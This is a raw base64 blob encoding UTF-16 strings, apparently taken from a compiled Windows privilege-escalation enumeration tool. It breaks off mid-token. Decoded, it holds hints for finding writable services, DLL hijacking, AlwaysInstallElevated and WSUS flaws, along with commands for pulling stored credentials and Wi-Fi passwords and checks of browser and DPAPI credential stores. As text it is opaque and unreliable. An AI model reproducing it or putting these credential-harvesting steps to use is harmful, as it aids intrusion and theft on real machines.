gBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAZQByAHYAaQBjAGUAcwABgNFDAGgAZQBjAGsAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbwB2AGUAcgB3AHIAaQB0AGUAIABzAG8AbQBlACAAcwBlAHIAdgBpAGMAZQAgAGIAaQBuAGEAcgB5ACAAbwByACAAcABlAHIAZgBvAHIAbQAgAGEAIABEAEwATAAgAGgAaQBqAGEAYwBrAGkAbgBnACwAIABhAGwAcwBvACAAYwBoAGUAYwBrACAAZgBvAHIAIAB1AG4AcQB1AG8AdABlAGQAIABwAGEAdABoAHMAABlGAGkAbAB0AGUAcgBlAGQAUABhAHQAaAAAEVAAYQB0AGgATgBhAG0AZQAAESAAIAAgACAAewAwAH0AKAAAF0MAbwBtAHAAYQBuAHkATgBhAG0AZQAADXsAMQB9ACAALQAgAAEXRABpAHMAcABsAGEAeQBOAGEAbQBlAAAHewAyAH0AAAtbAHsAMwB9AF0AABNTAHQAYQByAHQATQBvAGQAZQAADSAALQAgAHsANAB9AAENIAAtACAAewA1AH0AAQ0gAC0AIAB7ADYAfQABDSAALQAgAHsANwB9AAE/CgAgACAAIAAgAFkAbwB1ACAAYwBhAG4AIABTAFQAQQBSAFQAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAARQoAIAAgACAAIABZAE8AVQAgAEMAQQBOACAATQBPAEQASQBGAFkAIABUAEgASQBTACAAUwBFAFIAVgBJAEMARQA6ACAAADUKACAAIAAgACAARgBpAGwAZQAgAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAewA4AH0AAHEKACAAIAAgACAAUABvAHMAcwBpAGIAbABlACAARABMAEwAIABIAGkAagBhAGMAawBpAG4AZwAgAGkAbgAgAGIAaQBuAGEAcgB5ACAAZgBvAGwAZABlAHIAOgAgAHsAOQB9ACAAKAB7ADEAMAB9ACkAAAl7ADEAMQB9AAAnRgBpAGwAZQAgAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6AC4AKgAAOU4AbwAgAHEAdQBvAHQAZQBzACAAYQBuAGQAIABTAHAAYQBjAGUAIABkAGUAdABlAGMAdABlAGQAAD1ZAE8AVQAgAEMAQQBOACAATQBPAEQASQBGAFkAIABUAEgASQBTACAAUwBFAFIAVgBJAEMARQA6AC4AKgAADyAAUwBUAEEAUgBUACAAACdNAG8AZABpAGYAaQBhAGIAbABlACAAUwBlAHIAdgBpAGMAZQBzAABHQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAG0AbwBkAGkAZgB5ACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAABbIAAgACAAIABMAE8ATwBLAFMAIABMAEkASwBFACAAWQBPAFUAIABDAEEATgAgAE0ATwBEAEkARgBZACAAUwBPAE0ARQAgAFMARQBSAFYASQBDAEUALwBzADoAAAUuACoAAEMgACAAIAAgAFkAbwB1ACAAYwBhAG4AbgBvAHQAIABtAG8AZABpAGYAeQAgAGEAbgB5ACAAcwBlAHIAdgBpAGMAZQAAXUwAbwBvAGsAaQBuAGcAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbQBvAGQAaQBmAHkAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAIAByAGUAZwBpAHMAdAByAHkAAIDJaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAZQByAHYAaQBjAGUAcwAtAHIAZQBnAGkAcwB0AHIAeQAtAHAAZQByAG0AaQBzAHMAaQBvAG4AcwABY0MAaABlAGMAawAgAGkAZgAgAHkAbwB1ACAAYwBhAG4AIABtAG8AZABpAGYAeQAgAHQAaABlACAAcgBlAGcAaQBzAHQAcgB5ACAAbwBmACAAYQAgAHMAZQByAHYAaQBjAGUAAA1cACgALgAqAFwAKQAAgIcgACAAIAAgAFsALQBdACAATABvAG8AawBzACAAbABpAGsAZQAgAHkAbwB1ACAAYwBhAG4AbgBvAHQAIABjAGgAYQBuAGcAZQAgAHQAaABlACAAcgBlAGcAaQBzAHQAcgB5ACAAbwBmACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAC4ALgAuAAEbIAAgACAAIAB7ADAAfQAgACgAewAxAH0AKQAAdUMAaABlAGMAawBpAG4AZwAgAHcAcgBpAHQAZQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAgAGkAbgAgAFAAQQBUAEgAIABmAG8AbABkAGUAcgBzACAAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAAICpaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGQAbABsAC0AaABpAGoAYQBjAGsAaQBuAGcAAU9DAGgAZQBjAGsAIABmAG8AcgAgAEQATABMACAASABpAGoAYQBjAGsAaQBuAGcAIABpAG4AIABQAEEAVABIACAAZgBvAGwAZABlAHIAcwAAKSAAIAAgACAAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAIAAAQ0MAdQByAHIAZQBuAHQAIABBAGMAdABpAHYAZQAgAFcAaQBuAGQAbwB3ACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuAAAXVAAxADAAMQAwACYAVAAxADUAMQA4AAArIAAgACAAIABGAGkAbABlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAAAMsAABhIAAgACAAIABQAG8AcwBzAGkAYgBsAGUAIABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACwAIABmAG8AbABkAGUAcgAgAGkAcwAgAHcAcgBpAHQAYQBiAGwAZQA6ACAAAC8gACAAIAAgAEYAbwBsAGQAZQByAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAAH9JAG4AcwB0AGEAbABsAGUAZAAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzACAALQAtAFYAaQBhACAAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAvAFUAbgBpAG4AcwB0AGEAbABsACAAcgBlAGcAaQBzAHQAcgB5AC0ALQABL1QAMQAwADgAMwAmAFQAMQAwADEAMgAmAFQAMQAwADEAMAAmAFQAMQA1ADEAOAAAgJ9oAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcwBvAGYAdAB3AGEAcgBlAAFVQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAG0AbwBkAGkAZgB5ACAAaQBuAHMAdABhAGwAbABlAGQAIABzAG8AZgB0AHcAYQByAGUAACUgACAAIAAgAD0APQA+ACAAIAB7ADAAfQAgACgAewAxAH0AKQAAGSAAIAAgACAAewAwAH0AKAB7ADEAfQApAAApQQB1AHQAbwByAHUAbgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzAAALVAAxADAAMQAwAACAq2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwByAHUAbgAtAGEAdAAtAHMAdABhAHIAdAB1AHAAAWtDAGgAZQBjAGsAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbQBvAGQAaQBmAHkAIABvAHQAaABlAHIAIAB1AHMAZQByAHMAIABBAHUAdABvAFIAdQBuAHMAIABiAGkAbgBhAHIAaQBlAHMAAB1GAG8AbABkAGUAcgBQAGUAcgBtAHMAOgAuACoAABlGAGkAbABlAFAAZQByAG0AcwA6AC4AKgAAOygAVQBuAHEAdQBvAHQAZQBkACAAYQBuAGQAIABTAHAAYQBjAGUAIABkAGUAdABlAGMAdABlAGQAKQAAGVIAZQBnAFAAZQByAG0AcwA6ACAALgAqAAAzbwB1AGkAZwB5AGUAdgBiADIAdQBpAHYAeQBkAGkAMgB1ADMAaQBkADIAZABkAGYAMwAAMWEAZAB1ADgAdgAyADkAOABoAGYAdQBiAGkAYgB1AGkAZABpAHkAMgA0ADIAMgByAABDbwA4AGEANwBlAGQAdQBpAGEAMwA3AGkAYgBkAHUAYQB1AG4AYgBmADcAYQA0AGcANwB1AGsAZABoAGsANAB1AGEAAB1SAGUAZwBQAGUAcgBtAGkAcwBzAGkAbwBuAHMAABkgACAAIAAgAEYAbwBsAGQAZQByADoAIAAAJQoAIAAgACAAIABGAG8AbABkAGUAcgBQAGUAcgBtAHMAOgAgAAAXCgAgACAAIAAgAEYAaQBsAGUAOgAgAAAJdAByAHUAZQAAPSAAKABVAG4AcQB1AG8AdABlAGQAIABhAG4AZAAgAFMAcABhAGMAZQAgAGQAZQB0AGUAYwB0AGUAZAApAAAhCgAgACAAIAAgAEYAaQBsAGUAUABlAHIAbQBzADoAIAAAHQoAIAAgACAAIABSAGUAZwBQAGEAdABoADoAIAAAHwoAIAAgACAAIABSAGUAZwBQAGUAcgBtAHMAOgAgAABRUwBjAGgAZQBkAHUAbABlAGQAIABBAHAAcABsAGkAYwBhAHQAaQBvAG4AcwAgAC0ALQBOAG8AbgAgAE0AaQBjAHIAbwBzAG8AZgB0AC0ALQABbUMAaABlAGMAawAgAGkAZgAgAHkAbwB1ACAAYwBhAG4AIABtAG8AZABpAGYAeQAgAG8AdABoAGUAcgAgAHUAcwBlAHIAcwAgAHMAYwBoAGUAZAB1AGwAZQBkACAAYgBpAG4AYQByAGkAZQBzAAAlIAAgACAAIAAoAHsAMAB9ACkAIAB7ADEAfQA6ACAAewAyAH0AADUKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzACAAZgBpAGwAZQA6ACAAewAzAH0AAFcKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzACAAZgBvAGwAZABlAHIAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAOgAgAHsANAB9AAAjCgAgACAAIAAgAFQAcgBpAGcAZwBlAHIAOgAgAHsANQB9AAARCgAgACAAIAAgAHsANgB9AAAdTgBlAHQAdwBvAHIAawAgAFMAaABhAHIAZQBzAAALVAAxADEAMwA1AAATIAAgACAAIAB7ADAAfQAgACgAABNQAGEAdABoADoAIAB7ADEAfQAAIyAALQAtACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAABE0gAbwBzAHQAIABGAGkAbABlAAALVAAxADAAMQA2AABHXAB3AGkAbgBkAG8AdwBzAFwAcwB5AHMAdABlAG0AMwAyAFwAZAByAGkAdgBlAHIAcwBcAGUAdABjAFwAaABvAHMAdABzAAADCQAAPU4AZQB0AHcAbwByAGsAIABJAGYAYQBjAGUAcwAgAGEAbgBkACAAawBuAG8AdwBuACAAaABvAHMAdABzAABTVABoAGUAIABtAGEAcwBrAHMAIABhAHIAZQAgAG8AbgBsAHkAIABmAG8AcgAgAHQAaABlACAASQBQAHYANAAgAGEAZABkAHIAZQBzAHMAZQBzAAAvIAAgACAAIAB7ADAAfQBbAHsAMQB9AF0AOgAgAHsAMgB9ACAALwAgAHsAMwB9AAATCgAgACAAIAAgACAAIAAgACAAABVHAGEAdABlAHcAYQB5AHMAOgAgAAAHewA0AH0AAA1EAE4AUwBzADoAIAAAB3sANQB9AAAZSwBuAG8AdwBuACAAaABvAHMAdABzADoAAAkKAHsANgB9AAATLAAgADAALgAwAC4AMAAuADAAAC9DAHUAcgByAGUAbgB0ACAATABpAHMAdABlAG4AaQBuAGcAIABQAG8AcgB0AHMAABdUADEAMAA0ADkAJgBUADEAMAA0ADkAAF1DAGgAZQBjAGsAIABmAG8AcgAgAHMAZQByAHYAaQBjAGUAcwAgAHIAZQBzAHQAcgBpAGMAdABlAGQAIABmAHIAbwBtACAAdABoAGUAIABvAHUAdABzAGkAZABlAAARMAAuADAALgAwAC4AMAA6AAALWwA6ADoAXQA6AAA5IAAgACAAIAB7ADAALAAtADEAMAB9AHsAMQAsAC0AMgAzAH0AewAyACwALQAyADMAfQB7ADMAfQABHUYAaQByAGUAdwBhAGwAbAAgAFIAdQBsAGUAcwAAa1MAaABvAHcAaQBuAGcAIABvAG4AbAB5ACAARABFAE4AWQAgAHIAdQBsAGUAcwAgACgAdABvAG8AIABtAGEAbgB5ACAAQQBMAEwATwBXACAAcgB1AGwAZQBzACAAYQBsAHcAYQB5AHMAKQAALSAAIAAgACAAQwB1AHIAcgBlAG4AdAAgAFAAcgBvAGYAaQBsAGUAcwA6ACAAACcgACAAIAAgAHsAMAAsAC0AMgAzAH0AOgAgACAAIAAgAHsAMQB9AAEfIAAgACAAIABEAEUATgBZACAAcgB1AGwAZQBzADoAAF8gACAAIAAgACgAewAwAH0AKQB7ADEAfQBbAHsAMgB9AF0AOgAgAHsAMwB9ACAAewA0AH0AIAB7ADUAfQAgAGYAcgBvAG0AIAB7ADYAfQAgAC0ALQA+ACAAewA3AH0AATkKACAAIAAgACAARgBvAGwAZABlAHIAIABQAGUAcgBtAGkAcwBzAGkAbwBuAHMAOgAgAHsAOQB9AAATCgAgACAAIAAgAHsAMQAwAH0AAE9GAGkAbABlACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgB8AEYAbwBsAGQAZQByACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgAAL0QATgBTACAAYwBhAGMAaABlAGQAIAAtAC0AbABpAG0AaQB0ACAANwAwAC0ALQABKyAAIAAgACAAewAwACwALQAzADgAfQB7ADEALAAtADMAOAB9AHsAMgB9AAEtQwBoAGUAYwBrAGkAbgBnACAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAAgNFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAYwByAGUAZABlAG4AdABpAGEAbABzAC0AbQBhAG4AYQBnAGUAcgAtAHcAaQBuAGQAbwB3AHMALQB2AGEAdQBsAHQAAUVJAGQAZQBuAHQAaQB0AHkALgAqAHwAQwByAGUAZABlAG4AdABpAGEAbAAuACoAfABSAGUAcwBvAHUAcgBjAGUALgAqAAA3QwBoAGUAYwBrAGkAbgBnACAAQwByAGUAZABlAG4AdABpAGEAbAAgAG0AYQBuAGEAZwBlAHIAAA9VAHMAZQByADoALgAqAAALLwBsAGkAcwB0AAAVYwBtAGQAawBlAHkALgBlAHgAZQAAeUkAZgAgAGEAbgB5ACAAYwByAGUAZAAgAHcAYQBzACAAZgBvAHUAbgBkACwAIAB5AG8AdQAgAGMAYQBuACAAdQBzAGUAIABpAHQAIAB3AGkAdABoACAAJwByAHUAbgBhAHMAIAAvAHMAYQB2AGUAYwByAGUAZAAnAAFTIAAgACAAIABUAGgAaQBzACAAZgB1AG4AYwB0AGkAbwBuACAAaQBzACAAbgBvAHQAIAB5AGUAdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuAACAmUkAZgAgAHkAbwB1ACAAdwBhAG4AdAAgAHQAbwAgAGwAaQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AcwBpAGQAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABNAGEAbgBhAGcAZQByACAAdQBzAGUAIAAnAGMAbQBkAGsAZQB5ACAALwBsAGkAcwB0ACcAAStTAGEAdgBlAGQAIABSAEQAUAAgAGMAbwBuAG4AZQBjAHQAaQBvAG4AcwAAKyAAIAAgACAAewAwACwALQAyADAAfQB7ADEALAAtADUANQB9AHsAMgB9AAErUgBlAGMAZQBuAHQAbAB5ACAAcgB1AG4AIABjAG8AbQBtAGEAbgBkAHMAAD1DAGgAZQBjAGsAaQBuAGcAIABmAG8AcgAgAEQAUABBAFAASQAgAE0AYQBzAHQAZQByACAASwBlAHkAcwAAgJloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAZABwAGEAcABpAAGApUYAbwBsAGwAbwB3ACAAdABoAGUAIABwAHIAbwB2AGkAZABlAGQAIABsAGkAbgBrACAAZgBvAHIAIABmAHUAcgB0AGgAZQByACAAaQBuAHMAdAByAHUAYwB0AGkAbwBuAHMAIABpAG4AIABoAG8AdwAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIAB0AGgAZQAgAG0AYQBzAHQAZQByAGsAZQB5AC4AADtDAGgAZQBjAGsAaQBuAGcAIABmAG8AcgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABGAGkAbABlAHMAAIClRgBvAGwAbABvAHcAIAB0AGgAZQAgAHAAcgBvAHYAaQBkAGUAZAAgAGwAaQBuAGsAIABmAG8AcgAgAGYAdQByAHQAaABlAHIAIABpAG4AcwB0AHIAdQBjAHQAaQBvAG4AcwAgAGkAbgAgAGgAbwB3ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAHQAaABlACAAYwByAGUAZABzACAAZgBpAGwAZQAARUMAaABlAGMAawBpAG4AZwAgAGYAbwByACAAUgBEAEMATQBhAG4AIABTAGUAdAB0AGkAbgBnAHMAIABGAGkAbABlAHMAAIDRaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHIAZQBtAG8AdABlAC0AZABlAHMAawB0AG8AcAAtAGMAcgBlAGQAZQBuAHQAaQBhAGwALQBtAGEAbgBhAGcAZQByAAFvRAB1AG0AcAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAGYAcgBvAG0AIABSAGUAbQBvAHQAZQAgAEQAZQBzAGsAdABvAHAAIABDAG8AbgBuAGUAYwB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgAAgKNGAG8AbABsAG8AdwAgAHQAaABlACAAcAByAG8AdgBpAGQAZQBkACAAbABpAG4AawAgAGYAbwByACAAZgB1AHIAdABoAGUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzACAAaQBuACAAaABvAHcAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAdABoAGUAIAAuAHIAZABnACAAZgBpAGwAZQAAOUwAbwBvAGsAaQBuAGcAIABmAG8AcgAgAGsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAHtoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHAAZQBuAHQAZQBzAHQAaQBuAGcALwBwAGUAbgB0AGUAcwB0AGkAbgBnAC0AawBlAHIAYgBlAHIAbwBzAC0AOAA4AAFBTABvAG8AawBpAG4AZwAgAGYAbwByACAAawBlAHIAYgBlAHIAbwBzACAAVABHAFQAIAB0AGkAYwBrAGUAdABzAAAnTABvAG8AawBpAG4AZwAgAHMAYQB2AGUAZAAgAFcAaQBmAGkAcwAACToAIAAuACoAACN3AGwAYQBuACAAcwBoAG8AdwAgAHAAcgBvAGYAaQBsAGUAABNuAGUAdABzAGgALgBlAHgAZQAAgLlJAGYAIAB5AG8AdQAgAHcAYQBuAHQAIAB0AG8AIABsAGkAcwB0ACAAcwBhAHYAZQBkACAAVwBpAGYAaQBzACAAYwBvAG4AbgBlAGMAdABpAG8AbgBzACAAeQBvAHUAIABjAGEAbgAgAGwAaQBzAHQAIAB0AGgAZQAgAHUAcwBpAG4AZwAgACcAbgBlAHQAcwBoACAAdwBsAGEAbgAgAHMAaABvAHcAIABwAHIAbwBmAGkAbABlACcAAYCzSQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAZwBlAHQAIAB0AGgAZQAgAGMAbABlAGEAcgAtAHQAZQB4AHQAIABwAGEAcwBzAHcAbwByAGQAIAB1AHMAZQAgACcAbgBlAHQAcwBoACAAdwBsAGEAbgAgAHMAaABvAHcAIABwAHIAbwBmAGkAbABlACAAPABTAFMASQBEAD4AIABrAGUAeQA9AGMAbABlAGEAcgAnAAElTABvAG8AawBpAG4AZwAgAEEAcABwAEMAbQBkAC4AZQB4AGUAAICjaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGEAcABwAGMAbQBkAC0AZQB4AGUAAVElAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGkAbgBlAHQAcwByAHYAXABhAHAAcABjAG0AZAAuAGUAeABlAAA5IAAgACAAIABBAHAAcABDAG0AZAAuAGUAeABlACAAdwBhAHMAIABmAG8AdQBuAGQAIABpAG4AIAAAgKMlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGkAbgBlAHQAcwByAHYAXABhAHAAcABjAG0AZAAuAGUAeABlACAAWQBvAHUAIABzAGgAbwB1AGwAZAAgAHQAcgB5ACAAdABvACAAcwBlAGEAcgBjAGgAIABmAG8AcgAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAKUwAbwBvAGsAaQBuAGcAIABTAFMAQwBsAGkAZQBuAHQALgBlAHgAZQAAgKloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcwBjAGMAbABpAGUAbgB0AC0AcwBjAGMAbQABSyUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAVwBpAG4AZABvAHcAcwBcAEMAQwBNAFwAUwBDAEMAbABpAGUAbgB0AC4AZQB4AGUAAD0gACAAIAAgAFMAQwBDAGwAaQBlAG4AdAAuAGUAeABlACAAdwBhAHMAIABmAG8AdQBuAGQAIABpAG4AIAAAbyUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAVwBpAG4AZABvAHcAcwBcAEMAQwBNAFwAUwBDAEMAbABpAGUAbgB0AC4AZQB4AGUAIABEAEwATAAgAFMAaQBkAGUAIABsAG8AYQBkAGkAbgBnAD8AAD1DAGgAZQBjAGsAaQBuAGcAIABBAGwAdwBhAHkAcwBJAG4AcwB0AGEAbABsAEUAbABlAHYAYQB0AGUAZAAAgLloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAYQBsAHcAYQB5AHMAaQBuAHMAdABhAGwAbABlAGwAZQB2AGEAdABlAGQAAVtTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABJAG4AcwB0AGEAbABsAGUAcgAAK0EAbAB3AGEAeQBzAEkAbgBzAHQAYQBsAGwARQBsAGUAdgBhAHQAZQBkAABXIAAgACAAIABBAGwAdwBhAHkAcwBJAG4AcwB0AGEAbABsAEUAbABlAHYAYQB0AGUAZAAgAHMAZQB0ACAAdABvACAAMQAgAGkAbgAgAEgASwBMAE0AIQAAVyAAIAAgACAAQQBsAHcAYQB5AHMASQBuAHMAdABhAGwAbABFAGwAZQB2AGEAdABlAGQAIABzAGUAdAAgAHQAbwAgADEAIABpAG4AIABIAEsAQwBVACEAAFMgACAAIAAgAEEAbAB3AGEAeQBzAEkAbgBzAHQAYQBsAGwARQBsAGUAdgBhAHQAZQBkACAAaQBzAG4AJwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAARtDAGgAZQBjAGsAaQBuAGcAIABXAFMAVQBTAACAl2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwB3AHMAdQBzAAFjUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwBVAHAAZABhAHQAZQAAEVcAVQBTAGUAcgB2AGUAcgAAF1UAcwBlAFcAVQBTAGUAcgB2AGUAcgAAD2gAdAB0AHAAOgAvAC8AADEgACAAIAAgAFcAUwBVAFMAIABpAHMAIAB1AHMAaQBuAGcAIABoAHQAdABwADoAIAAAgI1ZAG8AdQAgAGMAYQBuACAAdABlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcABpAG0AcABzAC8AdwBzAHUAeABwAGwAbwBpAHQAIAB0AG8AIABlAHMAYwBhAGwAYQB0AGUAIABwAHIAaQB2AGkAbABlAGcAZQBzAABxIAAgACAAIABBAG4AZAAgAFUAcwBlAFcAVQBTAGUAcgB2AGUAcgAgAGkAcwAgAGUAcQB1AGEAbABzACAAdABvACAAMQAsACAAcwBvACAAaQB0ACAAaQBzACAAdgB1AGwAbgBlAHIAYQBiAGwAZQAhAAB5IAAgACAAIABCAHUAdAAgAFUAcwBlAFcAVQBTAGUAcgB2AGUAcgAgAGkAcwAgAGUAcQB1AGEAbABzACAAdABvACAAMAAsACAAcwBvACAAaQB0ACAAaQBzACAAbgBvAHQAIAB2AHUAbABuAGUAcgBhAGIAbABlACEAAEMgACAAIAAgAEIAdQB0ACAAVQBzAGUAVwBVAFMAZQByAHYAZQByACAAaQBzACAAZQBxAHUAYQBsAHMAIAB0AG8AIAAALywAIABzAG8AIABpAHQAIABtAGEAeQAgAHcAbwByAGsAIABvAHIAIABuAG8AdAAAISAAIAAgACAAVwBTAFUAUwAgAHYAYQBsAHUAZQA6ACAAAC9MAG8AbwBrAGkAbgBnACAAZgBvAHIAIABGAGkAcgBlAGYAbwB4ACAARABCAHMAAAtUADEANQAwADMAAICvaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGIAcgBvAHcAcwBlAHIAcwAtAGgAaQBzAHQAbwByAHkAAU8gACAAIAAgAEYAaQByAGUAZgBvAHgAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABmAGkAbABlACAAZQB4AGkAcwB0AHMAIABhAHQAIAAAbVIAdQBuACAAUwBoAGEAcgBwAFcAZQBiACAAKABoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGQAagBoAG8AaABuAHMAdABlAGkAbgAvAFMAaABhAHIAcABXAGUAYgApAABdTABvAG8AawBpAG4AZwAgAGYAbwByACAARwBFAFQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AIABGAGkAcgBlAGYAbwB4ACAAaABpAHMAdABvAHIAeQAALUwAbwBvAGsAaQBuAGcAIABmAG8AcgAgAEMAaAByAG8AbQBlACAARABCAHMAAE0gACAAIAAgAEMAaAByAG8AbQBlACAAYwBvAG8AawBpAGUAcwAgAGQAYQB0AGEAYgBhAHMAZQAgAGUAeABpAHMAdABzACAAYQB0ACAAAGVGAG8AbABsAG8AdwAgAHQAaABlACAAcAByAG8AdgBpAGQAZQBkACAAbABpAG4AawAgAGYAbwByACAAZgB1AHIAdABoAGUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AAFUgACAAIAAgAEMAaAByAG8AbQBlACAAcwBhAHYAZ